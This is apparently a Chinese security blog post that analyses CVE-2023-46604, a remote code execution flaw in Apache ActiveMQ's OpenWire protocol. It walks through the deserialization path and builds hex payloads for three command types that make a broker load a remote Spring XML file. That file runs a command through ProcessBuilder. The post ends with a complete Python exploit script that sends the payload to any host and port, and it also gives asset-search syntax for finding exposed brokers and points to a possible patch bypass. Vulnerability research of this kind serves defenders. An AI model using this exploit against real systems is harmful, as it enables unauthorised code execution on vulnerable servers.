从0到1分析 CVE-2023-46604

漏洞介绍

漏洞描述

CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行(RCE)漏洞。该漏洞允许远程攻击者通过向Apache ActiveMQ的61616端口发送特制的恶意数据,导致在目标系统上执行任意代码。

漏洞影响范围

5.18.0至5.18.2

5.17.0至5.17.5

5.16.0至5.16.6

5.15.16 之前的版本

解决建议

升级至安全版本。

资产测绘

app=”Apache ActiveMQ”

image-20241127112208228

前置知识

ActiveMQ

ActiveMQ是由Apache出品的,一款最流行的,能力强劲的开源消息总线。ActiveMQ是一个完全支持JMS1.1和J2EE 1.4规范的 JMS Provider实现,它非常快速,支持多种语言的客户端和协议,而且可以非常容易的嵌入到企业的应用环境中,并有许多高级功能。

OpenWire协议

OpenWire 协议是ActiveMQ默认的通信协议,该协议基于TCP协议实现。

OpenWire 将对象编码为字节数组,并将被编码的对象称之为命令。编码命令中使用的所有数据均以大端/网络字节顺序进行编码。

一个基本的命令编码方式如下:

1
2
3
4
5
6
7
8
[=If SizePrefixDisabled =] 
[ option is not enabled. ]
[ +------+ ] +------+-------------------------+
[ | size | ] | type | command-specific-fields |
[ +------+ ] +------+-------------------------+
[ | int | ] | byte | (size-1) octects |
[ +------+ ] +------+-------------------------+
[========================]
  1. size => 当前命令中剩余部分字节数;
  2. type => 命令类型标识符,CVE-2023-46604 的三种RCE方式分别涉及命令16|CONNECTION_ERROR22|MESSAGE_ACK31:EXCEPTION_RESPONSE;
  3. command-specific-fields => 具体命令的数据,可以根据不同类的反序列化函数查看。

另外,对OpenWire基本数据类型进行一个说明,以便后续确认size的取值以及POC的构建。

1
2
3
4
5
6
7
             |               |               |               |               |               |               
+----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+
| byte | | | char | | | short | | | int | | | long | | | float | | | double |
+----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+
| 1 octect | | | 2 octects | | | 2 octects | | | 4 octects | | | 8 octects | | | 4 octects | | | 8 octects |
+----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+ | +-----------+
| | | | | |

所有的OpenWire命令对其字段进行编码时都使用相同的算法,同时限制了命令只能包含以下命令类型:

  • Java primitive types
  • String
  • Byte Arrays
  • N Sized Byte Arrays
  • Throwable
  • Nested OpenWire commands
  • Nested OpenWire command arrays
  • Cached Nested OpenWire commands

其中String类型编码方式如下:

1
2
3
4
5
6
7
             [=If not-null is 1===========]
+----------+ [ +-------+----------------+ ]
| not-null | [ | size | encoded-string | ]
+----------+ [ +-------+----------------+ ]
| byte | [ | short | size octects | ]
+----------+ [ +-------+----------------+ ]
[============================]
  • not-null => 标记后续是否为空,如果为空则字段值为0,否则为1;
  • size => UTF-8 编码字符串的字节数;
  • encoded-string => 字符串的 UTF-8 编码形式。

另外,OpenWire编码方式分为Loose Encoding|松散编码Tight Encoding|紧凑编码编码两种,松散编码是OpenWire首次初始化时使用的默认编码。

ClassPathXmlApplicationContext

org.springframework.context.support.ClassPathXmlApplicationContext类是Spring框架的一个重要类。可以从指定路径下加载XML文件来创建和配置Spring应用上下文。

其构造方法ClassPathXmlApplicationContext(String configLocation)接收一个XML配置文件的路径作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>

利用上述XML文件和ClassPathXmlApplicationContext类可以实现远程命令执行,在目标机器创建指定文件。

核心原因

payload构建

根据修复记录可以将问题定位到org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable

image-20241129093620865

可以明显看出,修复前版本createThrowable方法通过反射构造调用了一个接收String类型的方法类。更新则添加了一个validateIsThrowable方法限制被调用的类只能是Throwable类或其子类。

1
2
3
4
5
6
7
8
package org.apache.activemq.openwire;
public class OpenWireUtil {
public static void validateIsThrowable(Class<?> clazz) {
if (!Throwable.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
}
}
}

利用createTable进行远程代码执行,需要控制classNamemessage参数。另外需要寻找到一个类满足构造方法参数为String类型。前文提到的ClassPathXmlApplicationContext完美符合条件,利用ClassPathXmlApplicationContext加载远程XML文件实现远程代码执行。

继续寻找可以发现tightUnmarsalThrowablelooseUnmarsalThrowable方法调用了createThrowable。从命名不难看出这两个方法分别是以紧凑编码(tight)/松散编码(loose)反序列化Throwable类或其子类对象。

1
2
3
4
5
6
7
8
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs)
throws IOException {
if (bs.readBoolean()) {
String clazz = tightUnmarshalString(dataIn, bs);
String message = tightUnmarshalString(dataIn, bs);
Throwable o = createThrowable(clazz, message);
......
}
1
2
3
4
5
6
7
8
protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)
throws IOException {
if (dataIn.readBoolean()) {
String clazz = looseUnmarshalString(dataIn);
String message = looseUnmarshalString(dataIn);
Throwable o = createThrowable(clazz, message);
......
}

两个反序列化方法均通过datein参数获取clazzmssage参数,需要注意这里在读取clazz前,首先读取了一个Boolean类型数据作为判断是否进行反序列化的判断条件。结合前文提到OpenWire中String类型编码方式以及前文利用方式,可以构建如下payload。

字段 值_编码 其它
not_null 非空 01
className_not_null 非空 01
className_size 66 0042
className_encoded_string org.springframework.context.support.ClassPathXmlApplicationContext 6f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874
message_not_null 非空 01
message_size 29 001d
message_encoded_string http://127.0.0.1:8888/poc.xml 687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c
1
010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c

利用路径

OpenWire默认使用的松散编码,故后续对looseUnmarsalThrowable进行追踪分析。

发现ConnectionErrorMarshallerExceptionResponseMarshallerMessageAckMarshaller等三个类调用了looseUnmarsalThrowable方法。

image-20241129105948113

进行查看可以发现均是这些类的looseUnmarshal方法调用了looseUnmarsalThrowable方法。

org.apache.activemq.openwire.v12.ExceptionResponseMarshaller#looseUnmarshal为例,进行查找。

1
2
3
4
5
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}

发现org.apcahe.activemq.openwire.OpenWireFormat#doUnmarshal调用了looseUnmarshal方法。

image-20241129110908765

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object doUnmarshal(DataInput dis) throws IOException {
byte dataType = dis.readByte();
if (dataType != NULL_TYPE) {
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}
return data;
} else {
return null;
}
}

doUnmarshal接收字节流dis,将命令进行反序列化,进行解析。

首先读取了一个dataType然后将其与0xFF进行按位与计算,提取对应的序列化器,再根据tightEncodingEnabled变量判断使用松散编码/紧凑编码的反序列化方法对数据进行后续处理。结合OpenWire协议,不难得知dataType参数就是命令中的type参数,用于标识命令。

再向上进行查找,可以发现org.apcahe.activemq.openwire.OpenWireFormat#unmarshal调用了doUnmarshal方法,有意思的是unmarshal方法存在多态,对分析可能造成一定的困扰。

1
2
3
4
5
6
7
8
9
10
11
12
public synchronized Object unmarshal(ByteSequence sequence) throws IOException {
bytesIn.restart(sequence);
if (!sizePrefixDisabled) {
int size = bytesIn.readInt();
if (sequence.getLength() - 4 != size) {}
if (maxFrameSizeEnabled && size > maxFrameSize) {
throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);
}
}
Object command = doUnmarshal(bytesIn);
return command;
}
1
2
3
4
5
6
7
8
9
10
11
@Override
public Object unmarshal(DataInput dis) throws IOException {
DataInput dataIn = dis;
if (!sizePrefixDisabled) {
int size = dis.readInt();
if (maxFrameSizeEnabled && size > maxFrameSize) {
throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);
}
}
return doUnmarshal(dataIn);
}

这两个方法都先从字节流中读取了size变量,再对size的长度进行确认,最后调用doUnmarshal方法,所以具体调用了哪个unmarshal对我们的分析不存在任何影响。

结合OpenWire协议内容,可以确认这里读取的是命令的size字段。至此,已经可以构建一个较为完整的命令作为poc了。

字段 值_编码 其它
size n,需要完整的命令长度才能确认 0000000x
type 命令ID,其实就是每个类的DATA_STRUCTURE_TYPE,例31 1f
other 可能存在的其它数据部分 xx…xx
payload 参见前文 0100……
1
0000000x1fxx...xx010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c

POC构造

POC的大体部分已经确认了,限制最后POC构造的难题主要是确认可能存在的其它数据部分,下面我们结合实际代码对三个RCE路径分别构造POC。

ExceptionResponseMarshaller

命令EXCEPTION_RESPONSE,对应ID为31。以下以传入命令ID为31时进行分析。

OpenWireFormat#doUnmarshal方法调用ExceptionResponseMarshaller#looseUnmarshal方法。

1
2
3
4
5
6
7
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);

ExceptionResponse info = (ExceptionResponse)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));

}

这里首先将调用了父类的looseUnmarshal方法处理数据,然后调用了looseUnmarsalThrowable触发payload。不涉及其它数据处理部分。

ExceptionResponseMarshaller继承自ResponseMarshaller类,查看其looseUnmarshal方法。

1
2
3
4
5
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
Response info = (Response)o;
info.setCorrelationId(dataIn.readInt());
}

这里同样首先调用了其父类的looseUnmarshal方法,值得注意的是,这里读取了一个Int类型数据,将其赋值给CorrelationId变量。

ResponseMarshaller继承自BaseCommandMarshaller类,查看其looseUnmarshal方法。

1
2
3
4
5
6
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
BaseCommand info = (BaseCommand)o;
info.setCommandId(dataIn.readInt());
info.setResponseRequired(dataIn.readBoolean());
}

同样首先调用了父类的looseUnmarshal方法,然后再读取了一个Int类型数据赋值给CommandId,读取一个Boolean类型数据赋值给ResponseRequired

BaseCommandMarshaller继承自BaseDataStreamMarshaller类,查看其looseUnmarshal方法。

1
2
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
}

BaseDataStreamMarshaller#looseUnmarshal方法不涉及任何操作,故经此可以构造如下完整POC。

字段 值_编码 其它
size 110 00000070
type 31 1f
CommandId 任意整数,例1 00000001
ResponseRequired 任意布尔值,例true 01
CorrelationId 任意整数,例1 00000001
payload 参见前文 010100……
1
000000701f000000010100000001010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c

image-20241129141630747

ConnectionErrorMarshaller

命令CONNECTION_ERROR,对应ID为16。以下以传入命令ID为16时进行分析。

OpenWireFormat#doUnmarshal方法调用ConnectionErrorMarshaller#looseUnmarshal方法。

1
2
3
4
5
6
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
ConnectionError info = (ConnectionError)o;
info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
info.setConnectionId((org.apache.activemq.command.ConnectionId) looseUnmarsalNestedObject(wireFormat, dataIn));
}

首先调用其父类的looseUnmarshal方法,然后再调用looseUnmarsalThrowable方法,没有涉及对其它数据的操作。

ConnectionErrorMarshaller继承自BaseCommandMarshaller类,BaseCommandMarshaller#looseUnmarshal方法在前文已经分析过了,故不再进行说明,可以构造如下poc。

字段 值_编码 其它
size 108 0000006c
type 16 10
CommandId 任意整数,例1 00000001
ResponseRequired 任意布尔值,例true 01
payload 参见前文 010100……
1
0000006c100000000101010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c

image-20241129144042486

MessageAckMarshaller

命令MESSAGE_ACK,对应ID为22。以下以传入命令ID为22时进行分析。

OpenWireFormat#doUnmarshal方法调用MessageAckMarshaller#looseUnmarshal方法。

1
2
3
4
5
6
7
8
9
10
11
12
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
super.looseUnmarshal(wireFormat, o, dataIn);
MessageAck info = (MessageAck)o;
info.setDestination((org.apache.activemq.command.ActiveMQDestination) looseUnmarsalCachedObject(wireFormat, dataIn));
info.setTransactionId((org.apache.activemq.command.TransactionId) looseUnmarsalCachedObject(wireFormat, dataIn));
info.setConsumerId((org.apache.activemq.command.ConsumerId) looseUnmarsalCachedObject(wireFormat, dataIn));
info.setAckType(dataIn.readByte());
info.setFirstMessageId((org.apache.activemq.command.MessageId) looseUnmarsalNestedObject(wireFormat, dataIn));
info.setLastMessageId((org.apache.activemq.command.MessageId) looseUnmarsalNestedObject(wireFormat, dataIn));
info.setMessageCount(dataIn.readInt());
info.setPoisonCause((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
}

同样是先调用其父类的looseUnmarshal方法,然后调用looseUnmarsalCachedObject方法三次,再读取了一个Byte类型数据赋值给AckType,又调用looseUnmarsalNestedObject方法两次,再读取一个Int类型变量赋值给MessageCount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected DataStructure looseUnmarsalCachedObject(OpenWireFormat wireFormat, DataInput dataIn)
throws IOException {
if (wireFormat.isCacheEnabled()) {
if (dataIn.readBoolean()) {
short index = dataIn.readShort();
DataStructure object = wireFormat.looseUnmarshalNestedObject(dataIn);
wireFormat.setInUnmarshallCache(index, object);
return object;
} else {
short index = dataIn.readShort();
return wireFormat.getFromUnmarshallCache(index);
}
} else {
return wireFormat.looseUnmarshalNestedObject(dataIn);
}
}

looseUnmarsalCachedObject方法在BaseDataStreamMarshaller类中被定义,其先判断wireFormat对象isCacheEnabled方法的返回值。OpenWireFormat#isCacheEnabled实际是查看当前对象成员cacheEnabled的值,该值标记是否缓存重复数据,以减少编组,默认为False。

1
public boolean isCacheEnabled() { return cacheEnabled; }

looseUnmarsalCachedObject方法会调用OpenWireFormat#looseUnmarshalNestedObject

BaseDataStreamMarshaller#looseUnmarsalNestedObject方法同样调用OpenWireFormat#looseUnmarshalNestedObject方法。

1
2
3
4
protected DataStructure looseUnmarsalNestedObject(OpenWireFormat wireFormat, DataInput dataIn)
throws IOException {
return wireFormat.looseUnmarshalNestedObject(dataIn);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public DataStructure looseUnmarshalNestedObject(DataInput dis) throws IOException {
if (dis.readBoolean()) {
byte dataType = dis.readByte();
DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
}
DataStructure data = dsm.createObject();
dsm.looseUnmarshal(this, data, dis);
return data;
} else {
return null;
}
}

OpenWireFormat#looseUnmarshalNestedObject方法首先读取一个Boolean变量,然后判断是否进行反序列化下一个命令,这里我们控制读取False

ResponseMarshaller继承自BaseCommandMarshaller类,BaseCommandMarshaller#looseUnmarshal方法在前文已经查看过了,故不再进行分析,故可以构造如下poc。

字段 值_编码 其它
size 118 00000076
type 22 16
CommandId 任意整数,例1 00000001
ResponseRequired 任意布尔值,例true 01
_ False 00
_ False 00
_ False 00
AckType 任意整数,例1 01
_ False 00
_ False 00
MessageCount 任意整数,例1 00000001
payload 参见前文 010100……
1
0000007616000000010100000001000000000001010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383838382f706f632e786d6c

image-20241129153901818

POC脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import binascii
import socket
import sys


def string_to_hex(s: str) -> str:
return binascii.hexlify(s.encode('utf-8')).decode('utf-8')


def int_to_hex_4(i: int) -> str:
return binascii.hexlify(int(i).to_bytes(4, 'big')).decode('utf-8')


def int_to_hex_2(i: int) -> str:
return binascii.hexlify(int(i).to_bytes(2, 'big')).decode('utf-8')


def int_to_hex_1(i: int) -> str:
return binascii.hexlify(int(i).to_bytes(1, 'big')).decode('utf-8')


def bool_to_hex(b: bool) -> str:
return binascii.hexlify(bool(b).to_bytes(1, 'big')).decode('utf-8')


def send_tcp_packet(ip: str, port: int, data: str) -> None:
"""
发送TCP请求
:param ip: 远程IP
:param port: 远程端口
:param data: 待发送16进制字符串
:return: 响应
"""
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (ip, port)
try:
client_socket.connect(server_address)
client_socket.send(binascii.unhexlify(data))
except Exception as err:
print(f"[-] err: {err}")
finally:
client_socket.close()


def assemble_payload(clazz: str, message: str) -> str:
"""
组装payload
:param clazz: 类名,未编码
:param message: 消息内容,未编码
:return: 组装后的payload部分
"""
clazz = string_to_hex(clazz)
message = string_to_hex(message)
result = bool_to_hex(True)
result += bool_to_hex(True)
result += int_to_hex_2(int(len(clazz) / 2))
result += clazz
result += bool_to_hex(True)
result += int_to_hex_2(int(len(message) / 2))
result += message
return result


def create_other(command_type: int) -> str:
"""
计算other部分数据
:param command_type: 命令类型id
:return: other部分数据
"""
command_id = 1
response_required = True
correlation_id = 1
if command_type == 31:
return int_to_hex_4(command_id) + bool_to_hex(response_required) + int_to_hex_4(correlation_id)
elif command_type == 16:
return int_to_hex_4(command_id) + bool_to_hex(response_required)
elif command_type == 22:
change_type = False
ack_type = 1
message_count = 1
result = ""
for _ in range(3):
result += bool_to_hex(change_type)
result += int_to_hex_1(ack_type)
for _ in range(2):
result += bool_to_hex(change_type)
result += int_to_hex_4(message_count)
return int_to_hex_4(command_id) + bool_to_hex(response_required) + result
else:
print("[-] 命令类型错误")
exit(1)


def main(ip: str, port: int, xml: str, command_type: int):
class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
payload = assemble_payload(clazz=class_name, message=xml)
other = create_other(command_type)
poc = "".join([int_to_hex_1(command_type), other, payload])
poc = int_to_hex_4(int(len(poc) / 2)) + poc
print(f'[+] 待发送数据为:{poc}')
send_tcp_packet(ip, port, poc)


if __name__ == '__main__':
if len(sys.argv) != 5:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml 31")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))

总结

  1. 该漏洞无需授权,后续漏洞挖掘可以更关注非HTTP协议的资产;
  2. 关于command-specific-fields缺少相关文档进行说明,如果对Java框架不够熟悉,可以直接通过查看相关代码构造payload,不使用TcpTransport#oneway方法等;
  3. 本次漏洞修复主要增加了一个检测传入的类是否为Throwable类或其子类,后续如果ActiveMQ依赖的库中出现了使用String参数既可实例化的Throwable子类,可实现绕过该补丁。

参考材料

注:本次分析采用activemq 5.17.3版本